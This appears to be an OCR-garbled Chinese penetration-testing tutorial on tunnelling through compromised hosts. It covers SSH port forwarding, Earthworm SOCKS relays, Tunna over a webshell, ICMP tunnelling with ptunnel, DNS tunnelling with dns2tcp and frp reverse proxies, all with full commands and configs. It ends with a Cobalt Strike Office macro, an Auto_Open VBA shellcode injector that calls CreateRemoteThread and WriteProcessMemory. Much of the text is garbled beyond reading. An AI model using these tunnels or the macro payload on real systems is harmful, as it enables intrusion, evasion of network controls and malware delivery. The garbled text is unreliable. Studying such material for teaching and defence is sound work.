S$1AE%W¢%%¢%%S&{%F%%m%%zﬁmﬂ%%% EZ,
SSH X ae#s ¥ Hfh TCP 3 D Wy W 44t 4E @ ¥ SSH # k%, S HagRMH
TAERLE A S B R o X — B “f¥ 87 (tunneling) , X ZFH A
SSH X Hfh TCP ##ERMT —NLAWEERFTERMTE L. Flar, Telnet,
SMTP, LDAP X% TCP mAH e\ Tz, #ET AP 4, THULRA
2 BB et o T 5 ML ] AT w%IWﬂ%¢%%kﬁmﬁ — B 2
A, B2 2 SSH Wik, Habas® T4 TCP 35 U 4 % k(¥ f| SSH 34T
o
SSH 3% 1 3 & ¥ A Zh 86
/m% SSH Client 3% £ SSH Server 3 22 8] B 38 % 15 .

R KIEN RS, TR —EZH LEE T TCP #E#,

SSH #<# sockss REE

sshZdbsocks 5

si=

ssh -qTfaN -D 7070 root@38.210.55.154

-C HEHFHAE, -q THEX, T ZLERBHBW LS, n XHATERA,
PATTE 4 2. WAMNFEL Tuwm -f 54k, 18 ssh K25 &7,


mailto:root@8.210.55.154

I UL 25 3 B socksS IR RF 77 7] S e R

i) # Extension (FoxyProxy Standard) ~moz-extension://e9f48f2f-9239-49e8-a102-0dff736b3b08/proxy.html

Kali Training Kali Tools « Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU

Qf] Edit Proxy ssh

Title or Description (optional) Proxy Type

Color Proxy IP address or DNS name
#66ec66 \

Send DNS through SOCKS5 proxy Port

Username (optional)

Password (optional)

google.com.hk

ali Tools « Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU

Google

Google Search I'm Feeling Lucky

Google offered in: 3 (%48)

SSH A # &

1E 1] % 3

442 -L localport:remotehost:remotehostport sshserver
. BR :

localport AT & #3515
remotehost WA E AR P HAE
remotehostport HANBEN DS

sshserver e ALE ) IP Ho ik

% T :

-f 56 B A

N FATHEAE shell, & THEFFRS CFm-N U & 5 F ik F)
-g JB I K oh &8

B 7% —



sshAibssRIR0

192.168.0.139

192.168.0.135 10.10.10.153
e i =
A
kali
c
B EURiRS
ZEE 10.10.10.155

FA AL BESR A T E N EE R 4 C IR & 21 80 3w 1

AEbfEE#E, BS5CHERE, A5Cfe#EfE. CTEEEHK.
PAEFANFRAFIL[A B XA 9w 25t eE 17 2 2] C 80 3 1 i WEB MR 5,
B DAE B ssh A48 2 m AR ip, AF 4 A BLAEiE T b By 0 3 X 17 7] Co

A REELEPAT

ssh -L A3 0 : B 47 IP: H A7 3% © moonsec@192.168.0.139 -fN

ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN

C:\Windows\system32\cmd.exe - ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN
Wi -

:80 moonsec®192. 168. 0. 139 -fN



mailto:moonsec@192.168.0.139

731 x 466

localhost

Welcome ..
£5z Bienvenido

Willkommen Bem-vir

Bienvenue
Tervetuloa

#m D'X2N D102
Velkommen VELKOMEN
Benvenuto yell

Welkom

5 mternet information services —
Valkommen Laa: )A
Hos Geldiniz grodstLct

Udvozoljuk Kahig opioate

CBE2S: Y

L E AR R 3 B 8K R

Bl 4r mysql k- 22 B v A7 5] AN R BE T 1F] . X R EF AR T mysql
B F IR E

moonsec@moonsec:~$ netstat -ant _ N
(##Pﬁﬁﬁi&%ﬁﬁﬂﬂiﬁ E Fﬁﬁﬂﬁmﬂ%PE’J BEEEFRRETR, NEBBIMEEE, WAAHEE root AF)
BoEInternetiEiE (ﬁEn%‘g*ﬂEE_Lf-Eﬁm)

Proto Recv-Q Send-Q Local Address i Address State PID/Program name

} tcp 127.6.1.1:53 20.0.0:% LISTEN -

| tcp
tecp
tcp

0 0.0.0. .0.0.0: LISTEN

0 127.0. .0.0.0: LISTEN

0 127.0. .0.0.0: LISTEN

0 0.0. .0.0.0: LISTEN -
0 192. : . .0.108:1758 ESTABLISHED -
0 192. .0. : . .0.108:139 ESTABLISHED 2641/gvfsd-smb-brow
0 192.168.0.139:22 . .0.108:30424 ESTABLISHED -
<IN i LISTEN -
[} LISTEN

(¢} LISTEN

] LISTEN

P oocoococoocoooooo

ssh -L 3306:localhost:3306 moonsec@192.168.0.139 -fN

\r:lx:"ﬁ/j" ~ i T L SEAUINIMEL Y —_— . A ELRGE

C\Wlndows\system32\cmd exe - ssh -L 3306:localhost:3306 moonsec@192.168.0.139 -fN

moon

i % J& Navicat 77 [7] A M 3306 3% O 42 7~ 3% £ ik 1



(it

[iff

H

1 B8 |=®  ssL SSH  HTTP

EEE: mysql
FH=25 1P Hsht: localhost
=0 3306
Are: root
= esccee
i
FEEE

L Bl SED oh's ~ = L

[ EE | BE B

ssh TR # &

44 : -R sshserverport:remotehost:remotehostport sshserver

P1.8H: sshserverport WA XA BTT B 0=
remotehost w4 FEALE R P Mk
remotehostport WA Z AW 0 5
sshserver 4 & AL 2557 1P L hE

TREEZETRAERN—f, FTUTUFEAREG K. AANSETEREK
HH. UTE - MRELNEG



sshESIBRIA sshiti2fe s

192.168.0.139
10.10.10.147

192.168.0.135

3. |
B W )
A

kali

C
B PIRERE80
EEE 10.10.10.157

AFUEBE®E BECHLUEM ALS5C Tz,
WAEMLEATECROE FEAEBMEL, EEBS5C WA KEERR
P 3306 #iT 1 80 3 T i,

X 5t f 2 SSH ik 8 A2 4 &
H 415 P Jete/ssh/sshd_config
GatewayPorts yes 21 E JZ A 13 v 1 R & 18 no 5 % yes

moonsec@moonsec: ~

IANAREWERZTE®E L E ¥ 127.0.0.1 %X 0.0.0.0 A #T3 7 3% 0 7667
| C

TEER &R
1 C &% AT

ssh-R A H 3 03042 ip: A2 3% 0 ssh Ak & 2



ssh -R 8877:10.10.10.157:80 moosec@10.10.10.147
B

ssh -R 8877:10.10.10.157:80 moosec@10.10.10.147 -fN
Bl & 2 7] LB T DL 1E shell BEF K SF4EH

IS RS TR RS RS RS RS TR TR

U 1
01
01
0 1
01
01
01
01
afl

IR IR TR | s R TR RS TR N

LISTEN

A 75 B a'y 8877 3 O EPTWIE] C ¥y 80 3 0

667 3 1964 pi.//192.168.0.139:8877/ip.t x | +
< O 0O 3% 192.168.0.139
10. 10. 10. 147

3.6. {#F Earthworm (EW) 4 Socks5 (XIESTRXPIMIERIE

EW 2 —2EHEXWHAEFETHE, BH SOCKS v5 R4 ik 05 2 WA
BT, THEARNETRT TRNEFE,

ZLTEGU “Em” . “RE” . “SHFR” THATE-FHERE, H
IR P 4 AL

ER-TRFE S NS

TEXREZIFE

TAENFEEX DN

IF e REA R ERE



ew ER{UEBEAMN

192.168.0.139
10.10.10.153

192.168.0.135

A

kali c
N PIRIE80
. 10.10.10.155

abbAE bScHEE abcfHH
a kM bR EE b RENRETF CH80smH A2 Aptatifl C
7 b 24T ew for Win.exe -s ssocksd -1 8888

C:\Jew_for_Win.exe —s ssocksd -1 8888
ssocksd 0.0.8.0:8888 <——[16088 usecl-—> socks server
the recv ip is 10.10.10.155 Tcp —> 10.168.10.155:80

B —> <(opendused/unused 1,999

B <{—— {(closedused/unused §6,/1600

recv ip is 10.10.108.155 Tcp —> 16.10.108.
B —> <(opendused/unused 1,999
B <{—— {(closedused/unused §,/16060

9% J& 1% & /etc/proxychains.conf
# 4 socksS 192.168.0.139 8080

# proxychains nmap -Pn -sT 10.10.10.155 -p 80
ProxyChalns -3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 06:19 AKDT
|S-chainf-<>-192.168.0.142:8888—<><>—10.10.10.155:80—<><>-0K
Nmap scan report for 10.10.10.155
Host is up (0.0053s latency).

PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

# 11

ew R[5 K
RO R 47 A0 2 R 7 K3E I\ 30 3 B 400



ewREEREARN

192.168.0.139
10.10.10.153

192.168.0.135

kali B <
sEE PRS0
10.10.10.155

proxychainsi2E{{12192.168.0.139
1080 ew_for_linux64 -s rcsocks -1 1080 -e 1024 ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024

7 b _E#AT ew for linux64 -s resocks -1 1080 -e 1024

T ¢ E#AT ew for Win.exe -s rssocks -d 10.10.10.153 -e 1024
£ /ete/proxychins.conf 3 /r socks5 192.168.0.139 1080

J nmap M4 10.10.10.150 80 3% O

proxychins nmap -Pn -sT 10.10.10.155 -p 80

proxychalns nmap —Pn -sT 10 10 10 155 -p 80
ProxyChalns -3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 18:59 AKDT
|S-chainf-<>-192.168.0.142:1080—<><>-10.10.10.155:80—<><>0K
Nmap scan report for 10.10.10.155
Host is up (0.23s latency).

PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

# 1

3.7. Tunna &3 HTTP IE[E{XIE

Tunna ¥ LA# K Anfg 4 HTTP @£ TCP # . © ¥ LU R4 KT
5 o P 2% TR

A

python proxy.py -u -1 [options]

%8 T

--help, -h B R BH B FRH .

--url=URL, -u URL 1% webshell

--lport=LOCAL_PORT, -1 LOCAL PORT 73 I 77 3 0
--verbose, -v i H 258 & A/

--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP i# 5k A /N(— £ webshels % A /)N
H IR

BH SOCKS REryit £, WwREH SOCKS RHE, A 8t 2 I

--no-socks, -n i SOCKS



--rport=REMOTE_PORT, -r REMOTE PORT 3% # webshell R % #4142 37 &
--addr=REMOTE _IP, -a REMOTE IP iZt7% webshell #% ## 4k (ki % 127.0.0.1)
7 : Tunna REFA L ZEFRE, E@FHAELFEN, LHEEFEA Tunna RE T
BEFENREN, 2% HE %, E£#F Tunna 17 5] 1 F web R 512 H A4,

T B # ik https://github.com/SECFORCE/Tunna
YN H

TurmaiZ BHITP Ela K8

A B C

192. 168. 0. 135 192. 168. 0. 139 10. 10. 10. 155
kali 10. 10. 10. 153 FIRIE 1T
RIEEH

AS5bHE b cHill AS c AR, DIEACLE TR BIMIR, @A b &E
ARELAE G i) C ) 3389 it I, X FHACEEJE T 1E [ A HE .

f#H] Tunna T H

£ b M 4% conn.aspx — & B FF A AT

TE A FUAT python2 proxy.py -u http://192.168.0.139/conn.aspx -1 4321 -a 10.18.10.155 -r 3389 - v

7E A JT 5 3T I 2 N rdesktop 127.0.0.1:4321 BIA[ 359 C ) 3389 i [

08:13PM O




3.8. FIA ICMP BERIARFIT ICMP F 3 ZiBE R AHE

E— S IR, I RAL T IAIE, TCP Al UDP %4k 482w 248 .t SR
Al UL ping I AR TF AL, el PASR S ICMP BRIE, K TCP BudE @ i ZbE il K ik,
SEHLANSZ PR 25 15 ) o TR AR S BRI N 2 2 Ah, TR R Bk R R ST AR R 5%
e BUE PR IE T TR, Bnl DU L ICMP FEIE . 1 5 1% % 3 4l
F PR w] LA S 1 15 B B .

— . icmptunnel ®/ LUK IP JiimE S IMCP 1 ping HdE® T, BAEFH ping
%@Kﬁki RS, DR D B K B A PR ping HilE B

—. HRIEM Ping T A4 ICMP ﬁﬁ@}:ﬁwmtﬂﬁikﬂﬁﬁﬁﬁﬁ’ﬁ%
Payload, fj Wi o i ) > #% UL iX Bt Payload | ICMP Wi [ ¥ ¥ 40 rp R ik 45 1 3K Ui
ﬁﬁ?umlﬁﬂ@ﬁﬂ Ping i5K.

=. fEfEH ptunnel HAT M ZFIER, &P it IP WiE2AE ICMP 1R &R &
WO I 2 R 55 4, 1T IR 45 48 o Ul 2> 5 AR UL AC () ICMP i B2 £ 0 JE AT 1 &2 . X
T NE K, WM& PALFRA R 2 IEHEK ICMP Hidk .

N2 FH 37 5



ICNPREEHARTFER NS

ASBEEERE BSCREERE

RIBEM,
o
ASCERTCPINY 192. 168. 0. 144
A RIE]=E
192. 168. 0. 143

kali

a5 bRl b5 cHEEE als c ZIAARIF A TCP FHl {H52 A fiE ping
A ¢ e A W 7 K AR A R demp PR EEAT B AR . #nT DAHT dmep BEIE K

7 b E# 4T ptunnel -x 1234 1234 &%

£ A _E#AT ptunnel -p 192.168.0.137 -1p 8080 -da 192.168.0.144 -dp 80
-x 1234

-p 2 H i hk BBk AR S L bk

-1p Hl localport Al

-da FRATEE ) Mokt

-dp L1 %

-x JEE

7E A EVilR http://localhsot:8080 BRI jlal C [ HAx 80 i [

127.0.0.1:8080/ip.txt X +

& C @ @ 127.0.0.1

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forum

192.168.0.144




H 25 tep T

iptables -A INPUT -p tcp -s 192.168.0.143 - DROP
J& 7 80 3 K

python -m http.server 80

3.9. DNS BXiEZRERT AL

DNS Tunneling, Z[R#kfEHE B —F, @2 E H b0 3 % £ DNS il # a2
ST, HAERNE WL H R+ DNS 2 — NS AT DS, Fril KE4-F
K F N AZ A 1% &R D 4 32K DNS JR &, X 3t 4 DNS 5 — Fr @ i f5 i 2
T4&M, NTEUA R EZR i mBER, XHEREEE, AEBERLH
#t 50 1E B DNS Tunneling 2 % £ 18 7 P &0 APT I &+ EE EEZWNA €,
dns2tcp =& — | Fl DNS [ # 4 % TCP Z#: e T B, X # KEY f1 TXT £ A&
ER, ACEEFL. €0 ATANHL, REmMEF 3, RFIHIEATA linux
R %2 E, & 39 LLIEAT £ linux A7 windows _E(EM-TF & %A MRT), %iF
R JE T RS- 3 E B F AT X4 R A dns2tepd, 7 & P 3 (linux) £ B9 & AR A
dns2tcpe, kali RINZRT =& . TRANETESHEIME, #HEEFFM.

B 37 %

DNSEEEEF AR A LS

RaiFdnstif

ASBEEE(R

sl

ety 3
c
192. 168. 0. 144
PRI E 1T

A
192, 168. 0. 143
kali

cREVTIFl b 1B ¢ R A ¥F DNS Wi B B K3 — M2 53 3 3t AT 8, AT
A 53 3ig B AT LB DA LA dns [ 38

dns2tcpd



P BEEELES, RUEES

-1 IP address
%77 ip, ERIA 0.0.0.0
-f BE XM
o A I T B Ot B2
-d debug level
A RRAEA, WMBHEAXZANEE, BRIAN1, 2, 3
dns2tcpce
-C : B R %

-z <domain> . 38 E BT AE Rl B B 4
-d<12)3> B FA (1,20r3)

-r <resource> : V4 7 #y B AT TR

-f<filename>  : BB X% EZ

-l <port]->  : AM IR E

-T<TXTKEY>  :DNS#&ERKEA, BRi\H TXT
e &

BT BEETERERASHEY, TR RE RS IR, 0l
T

listen = 0.0.0.0

port =53

user = nobody

chroot = /tmp

domain = <domain.com>

resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:3128

wRBFERE vps — F Z 4 udp 53 3y 0 84 H 35 A8 N\ 3E AR B FF K
LA MR BT 2 48 & ubuntul8.04 x64

73E E5E
St Q
s (AR Ppeid] w0l Ze =R e
“iE 1 == g 3 0.0.0.0/0 R BGE
E2EIFAADIFEAE, BNESERECSHENEBEEMTH.
b RS R s0zA DIESE = S =
o == = =F ' =

REBALEE



a 1€ 3 dns.1377day.com 3§ [d vps ip
dns A 254 8.210.55.154 - 600 : B

ns 1€ 45 @ dns2tcp.1377day.com
dns2tcp NS Sk dns.1377day.com - 600 - E B

B vps B % % dns2tcp
sudo apt-get install dns2tcp

162 B X fF

sudo vi /etc/dns2tcpd.conf

listen = 0.0.0.0

port =53

# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = root

key = moonsec

chroot = /tmp

domain = dns2tcp.1377day.com

resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25

R A%
AT 1A
listen = 0.0.0.0
wEAF
user = root

W E XA

key = moonsec

T b 35 4T B 5 dns2tepd -f /etc/dns2tcpd.conf -F -d 3
R W B4 1R VT RE 3 A BT

F Wm0 EEAT id A E A kill 4R AR

netstat -anp|grep 53

kill #7285

T B = BR i\ B9 AR 4 55 ] systemctl stop systemd-resolved

£ ¢ THE P ImIAT



dns2tcpce -r ssh -k moonsec -z dns2tcp.1377day.com 8.210.55.154 -1 8888 -c -d 3

C:\UsersMdninistrator>dns2tcpc —» ssh —k moonsec -z dns2tcp.1377day.com 158.247
.193.116 -1 8888 —c -d 3
debug level 3

Debug socket.c:233 Create socket for dns : ’158.247.193.116°
Listening on port : 8888
Jhen connected press enter at any time to dump the gqueue

£ c P AT T4 ssh root@127.0.0.1 -p 8888 L xshell &5 %
c %t AL 1 A M By 8888 3 I i |5 B By 22 3

% & ssh g 0 % %

[ kali4-2 [ kali4 5} kali4-3

nsec|127.0.0. 1EH#

Leil ’ T , 2] x

i J i ) ) IE 8)(0): 2
J vl - | Bz = .| ' o B A (FE): |Dynamic (SOCKS4/5) LI

! BRPRGRE (S [
| ® BRI
: BREE RO
SiEEIEE 2 X 4. SSH
L2000 LSt = I
E=] & =20z _
£ 127.0.0.1 BiE EfrEHlH): | [l
ze8 =& SFTP o
E"l 127.0.0.1 TELNET BtRs0e): | 'I
#wa 8858
i SSH RLOGIN
BRE moonsec I SERIAL ¥EA(D):
L fem [oaa

FEEIPRE
£ 825%%
®’E | Blig

ssh://moonsec@127. 0. 0. 1:8888 m _

e

e e alEl
?} F progriﬁer RE

AR+ SPro -

O Hn ESTHE By 08V 2B
YT

E \

.- | NFRER | Bt

E=

1080 SOCESS

| f@ﬂ;‘éﬁ—%‘ﬁ@ﬂﬁ%ﬂﬁiﬁ—@i X385, .. l




Dns [i%# 2 48 &
IDebug queue.c:

IDebug queue.c:

IDebug queue.c:

IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug queue.
IDebug qgueue.
IDebug queue.
IDebug queue.
IDebug queue.c:
IDebug queue.c:
IDebug queue.c:

gueue = BxB2560A588
Received [5841 id=0x9%9f24
gueue = BxB2560A588
Received [5861 id=Bxf6061
gqueue = BxB2560A588
Received [5871 id=Bx827c
gqueue = BxB2560A588
Received [5881 id=0Bx%35a
gqueue = BxB2560A588
Received [5891 id=Bxadib
gueue = BxB2560A588
Received [5981 id=Bx216hb
gqueue = BxB2560A588
Received [5911 id=0Bxf47e
gqueue = BxB2560A588
Received [5921 id=0Bx344c
gueue = BxB2560A588
Received [5931 id=0Bx8833
gueue = BxB2560A588

{7 Il 7 Il 7 Il 7 Jeoal 7 Il 7 Jeal 7 I 7 Il 7 Nl 7 Il v Vel v Te v Il 7 I v I 7 L 7 Il 7 Vel 7 )
O T L L L LI T TR LI T T T T .

www. baidu. com

| o Ao dle alm@ B sl @l
e #ERE

«)> ¢ @ |Q ERERIEE, SRR
..... . E_
BaidhsE | P BE—F
Q W& il T )y ANE N &g HhE] Fy 8=

|PibhEEE

IP(MB2 [BIEERINY) - BEOE

IDBUntarnat Deatanal 7 WIEFRMCERN O\ BOEE BT DDA rhbhfisz

3.10. frp AMNEIE

frp 2— Mo H T AN ER SR R MAREE N H, SCRF tep, udp T, A
http A1 https NHAPSERML TEISNIRE 77, HE M SCR T A R IE
VEA VA https://github. com/fatedier/frp/blob/master/README zh. md
NEGHE https://github. com/fatedier/frp/releases

frp KAER
I Ak T A PR BB KBS IR L 2%, HARMIEA SR HR It http BF https RS . XF T
http, https ARESSCHFIETHRA MBI TN, TREEIRAGE, 1§24
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https://github.com/fatedier/frp/releases

A DABERTAS 80 B 1. R I AL T P9 X BBl K i IATLES s 6 AR R EA SR AR f tep
A udp fRS%, BInFES B ssh T ] AE T2 5] P IR I 9 AL .

frp XFFKFG

darwinlinux 386 amd64armmips mips64 mips64le mipslewindows 386 amd64

HRIE

froAREE

B
vps
YA
8.210.55.154

sl

A C
kali =k
192.168.0.108 192.168.0.142

C A& N 48 T 1) 80 ¥ LI FF /L WEB IR %%, B 5 C Z B By KK €, PI/EAEIEC
) 80 iy I WLERF 214 9 B ) 8000 3 1 | AB4 A Uiy [l 24 W) 8000 FJ i I gl BE 17 1)
C 11580 it IS WEB JIR 55 [F) B A R AE U7 ) Y X C B4 22 i 1, B4 22 Sty 11 Aok
BIAMIFEA G 1, B2 A BEREVE IR B BN 1 BAE VT IR C 1 SSH AR
RIXFTT IR C B RAECIE R, BT CAR LT (1) 28 5 B K B
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| https://github.com 5 v | SuEEs Q| $-B-g9-®- 8 O-

v Assets 15

Q@ frp_0.33.0_darwin_amd64.tar.gz 9.04 MB
@ fip 0.33.0 freebsd 386.tar.gz 821 M8
@ frp_0.33.0_freebsd_amdé4.tar.gz 8.62 M8
@ frp_0.33.0_linux_386.tar.gz 821 MB
@ frp_0.33.0_linux_amdé4.tar.gz 261 M8
@ frp_0.33.0_linux_arm.tar.gz 8.05 MB
@ frp_0.33.0_linux_armé4.tar.gz 7.93 MB
Q frp_0.33.0_linux_mips.tar.gz 7.86 MB
Q@ frp_0.33.0_linux_mips64.tar.gz 7.82 MB
@ frp_0.33.0_linux_mips64le.tar.gz 7.69 MB
@ frp_0.33.0_linux_mipsle.tar.gz 7.77 MB
@ frp_0.33.0_windows_386.zip 8.06 MB
@ frp_0.33.0_windows_amd64.zip 8.47 MB

m Source code (zip)

[) Source code (tar.gz)

WA
B M vps £4t ubuntulS8. 04 x64
A 5 B4l 2P R

Frp 2 A RRZ & P i

frps g5 A linux  FFTAERIER, HARE

Frpe & i linux A1 windows # 32 FF i siiE AR EER RS AR, RS
FRUEEEEH N

FR T E vps ZHEN

It
o
il
il
gel

s HERO ER #OEER 0 #Zwie O

il
5
a[I
o

m

frps Bo B AR %280

£ vps b B IC B IRSS

wget https://github. com/fatedier/frp/releases/download/v0. 33.0/frp 0.33.0 linux amd64. tar. gz
itk tar zxvf frp 0.33.0 linux amd64. tar. gz

Hay4 mv zxvE frp 0.33.0 linux amd64 frp

HANHF cd frp
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MR 2 b SCAF rm —rf frpe

W B R 55 I S A frps. ind
[common]

bind port = 7000

token = moonsec2020

bind port %) e ) i L

token #hY —EixE R K

iZ4T. /frps —c frps.ini B4T1E% BIA]
wWEIHLE 3N

vi /lib/systemd/system/frps. service
[Unit]

Description=fraps service
After=network. target syslog. target
Wants=network. target

[Service]

Type=simple

#E BRI a4 (SR frps BISEPRZedE H )
ExecStart=/root/frp/frps —c /root/frp/frps. ini

[Install]
WantedBy=multi-user. target

#Ja30 frpe
systemct]l daemon-reload
systemct]l start frps

HLE IR 30

systemct]l enable frps

DL RS uRBC B 52 Ee, frps B3NS I W 7000 i
H ps aux EFEH#EEE M netstat antl I



el
Internet
) Send

frpc e E & & 3

TR RGN fipe BE B P 36 R
[common]

server_addr = 8.210.55.154

server_port = 7000

token = moonsec2020

[ssh]

type = tcp

local _ip=127.0.0.1
local port =22
remote_port = 6000

[web]

type = tcp

local _ip=127.0.0.1
local port = 80
remote_port = 8000

B
server addr = 8.210.55.154 #R % & #y 1P

LISTEN

EST

SLISHED




server_port = 7000 # i} %- 2 # 3t
token = moonsec2020 #i% = H 55 75[5

[web] #/R %% 4

type = tep #E BN KA

local_ip =127.0.0.1 #37 [5] 7 ip ® LLE W AT —A> ip
local_port = 80 #7435 &

remote_port = 8000 #IT1E At % % HA ip

JB 7] fipc.exe -c fipc.ini EEEH G

C:\Users\Administrator\Desktop\frp_0.33.0_wvindows_amd64>frpc —c frpc.ini
2020,/89/12 13:58:13 [I] [service.go:2821 [hBfeffhh?7248f%al login to server succ
ess, get run id [bBfeffhh?7948f%al,. server udp port [B1]

20280,/89/12 13:58:13 [I] [proxy_manager.go:1441 [hBfeffbhh?79248f%al proxy added: [
ssh webl

2020/89/12 13:58:13 [I] [control.go:179]1 [hBfeffhh?7948f%al [sshl start proxy su
ccess

2020/89/12 13:58:13 [I1]1 [control.go:1792]1 [hBfeffbhh?79248f%al [web] start proxy su

CCEess

F A 5 2517 19

8.210.55.154

Welcome
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~ Bienvenue
Tervetuloa

#m D'N2N D12
Velkommen VELKOMEN
Benvenuto l

Welkom

i internet information services w“amY
Vélkommen )A
Hos Geldiniz stotst |0t

BAGEREE P SRS BwmETHE )G, 2 A5 BB 8000 3% 1 /5, B
WEER SR EH#ATEL, L AFETIEEC
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4. ESIE R

Mg zRmE NNt a TBEFRIGARL—. B2 TES, 2—#&
WA ZEZHCEFE, R, FHO. BE, REE ORI HAT E 0 R
MEFREFE. BEETEFR, KE AN, S OEG Y B
KERE, TEFR, WEANBRTHEFL-HEERKES, FHl2E APTX
T, WERRHRGFFMHT, NETEENAE,

4.1. Office YT

Office %, ¥ 8 ¥ X %#7 Macro. % & Office B — M & H AR £, &
it VBA KA, F[LLE Office ¥ £ T A ETREMNES, MALHFEEMRN
16, BEWZULAF X — 2L ELB5h. T EREE M FFEXEIENR
WEFHTENFSE. — BT, EFWER BT, TREERS
MW BE, BEE AN L, 3 E A Normal #A7 F .

Visual Basic for Applications (VBA) # Visual Basic W —f Z1E 5, EMNIT X
Bk EERZENARTFFIATEANESNOLE)YEF W REEES. TEHAX
¥ /& Windows #y 5 Fl 2 /7 T 86, #F A& Microsoft Office 2 #, 7 32— i
JI A2 AL AL HT Basic AR

WA 5

# % windows 10 x64

word JRA 2016

cobalt strike4.0

4.1.1. cobalt strike 4 R &

Attacks->Packages->MS Office Macro

B LOoDait >trike
Cobalt Strike View Attacks Reporting Help

B ) B S TSR Ty Application e
external Web Drive-by Al MS Office Macro nal listener

Spear Phish Payload Generator
Windows Executable
Windows Executable (S)




HEFRENRTER EFRERA
! B Macro Instructions — O x

Follow these steps to add this Macro to a Microsoft Word or Excel document:

. Open Microsoft Word or Excel

. Go to View -> Macros -> View Macros

. Change Macros in to the current file

. Give your macro a name (any name is OK)

. Click Create

. Clear the editor

. Press Copy Macro to copy the macro to your clipboard.
. Paste the macro

. Close the macro editor window

. Save the document as a macro-enabled document

L U T N B o B o | B N o B N

—_

4.1.2. 81| % word
£ 7 docx X #£EEHE XX

- Word Ea
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JFERE @1 w2 e WRE  FESEE O BA  BTEE

=5 =
NIRRT T E4=(A)
BEVIEEX(R)...
EIEEX(N)
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#9 Microsoft Visual Basic for Applications - [NewMacros (53)]

& e |mEE REY BA) BEROQ) WD) ETR TR SMEEFER) BEOW HEH)
Ba U AR - - © 1366, 5178 -]
G Fi)

| [Auto_open

dviCountChars As Long
dv¥CountChars As Long
dvFillAttribute As Long

~
4 2 dwFlags As Long
& Project (22: wShowVindov As Integer
£ &8 Project (Tes ChRoserved? A¢ Intoger
-85 Microsoft IpReserved2 As Long
] ThisDoc hStdInput 4s Lon
hStdoutput As Long
5 R hStdError As Long
Wt Nevltacr End Type
& [ 51A #I£ VEAT Then
-8 Project (i, Private Declare PtrSafe Function CreatsStuff Lib “kernel32” Alias “CreateRemoteThrsad’ (EyVal hProcess As Lork, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpSt:
Frivate Declare PtrSafe Function AllocStuff Lib “kernel3z’ Alias ’VirtualAllocEx’ (ByVal hProcess As Long, Byfal lpAddr As Long, ByVal 1Size As Long, EyVal flAllocationType As Long, B
< > Private Declare PirSafe Function ¥ritsStutf Lib “kernslg2’ Aliag “¥riteProcssslienory” (ByVal hProcess As Long| ByVal IDest As LongPtr, ByRef Source ks Any, ByVal Length ks Long, Byial
Private Declare PtrSafe Function RunStuff Lib “kernel32” Alias "CreateProcessA” (ByVal LpApplicationame As Sfring, ByVal 1pC String, Lpl Any, IpThreadattx
Bt - NewMacros #Else
Private Declare Function CreateStuff Lib “kernel3z” Alias ‘CreatsRemoteThread’ (ByVal hProcess As Long, ByVal |lpThreadattributes As Long, EyVal As Long, ByVal lp: 2
L cro: 187 Private Declare Function AllocStuff L)b “kernel32” Alias "VirtualAllocEx” (ByVal hProcEss As Long, ByVal lpaddr As Long, ByVal 1Size As Long, ByVal fmllocauonType 4s Long, ByVal flProte
BEEF g Frivate Declare Function WriteStuff Lib “kernel32” Alias “WriteProcesslemory” rocess s Long, ByVal Tpest ks Long, ByRet Source s Ay, Byval Lensth ks Lons, DyValLengthirots ks
a RANF anns Declare Function RunStuff be “kernel32’ Alias “CreateProcssed’ (Byval lpADpIH:nxonllams As String, B tring, lpl ibutes As Any, lpTl [
(BF) Newlacros #End

Sub Auto_Open()

Dia nyByte As Long, myArray As Variant, offset As Long
in plnuto As PROCESS INFORNATION

Din SInfo As STARTU

Din sHull 4s smng

Din sProc As String

#If VBA7 Then
Din ruxpage As LongPtr, res As LongPtr
#Else ~
Dim rwxpage As Long, res As Long
#End If
nyArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20 -117, 114, 40, 15, -73, 74, 38, 49, -1,
o -8, S, 8 ik 117, 2, 23, -117, 88, 32, 1, =45, 29,
117 36, =117, 14 TH <117

, 1, -45, 102, 3 88, 28,
116, 0, 104, 119, 105, 110, 105, 84, 104, 75, 119, 8, 7, -1, -
g

3, 49, -1, 87, 101 -32, 11,
-1,-1, 47," 111 71, 66, 100, 0, -53, -121, -108, 108, 799, ih, Fios,

B AT E RS H 2| X B %54 auto open H 3T

7 -57, 1 ‘g, -55, ' -117,
sz, &7, -i5, o4, -110, 84, 110, -30, ~42, 43, 68, 94, 6B, -109, oL, -80, 25, 13, 60, -3,

e @A ®it ®B SIH @ =R

S 2 2 o3 = Aa Aa [E] 5
== TIEREE- =
Visual Basic 7 0 Word COM fnEela XML BRETERTS
R IR HnEIR
i3 piit=an] = BRET (=l IR
S X
TESTRRIRR P~
Microsoft Word X
w2 mE SR
— LR ARSI E AR
BIETRAEE B F AN, « VBA T#2
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#If VBA7 Then

Private Declare PtrSafe Function CreateStuff Lib “kernel32” Alias “CreateRemoteThread’ (ByVal hProcess As Long, BvVal 1pThreadttributes s Long, ByVal detack

) ThisDocune Private Declare PtrSafe Function AllocStuff Lib ‘kernel32” Alias “VirtualAllocEx” (ByVal DProcess ks Lone, ByVal Ipkdds s Long, Byval ISizs 4s Lons, Byval
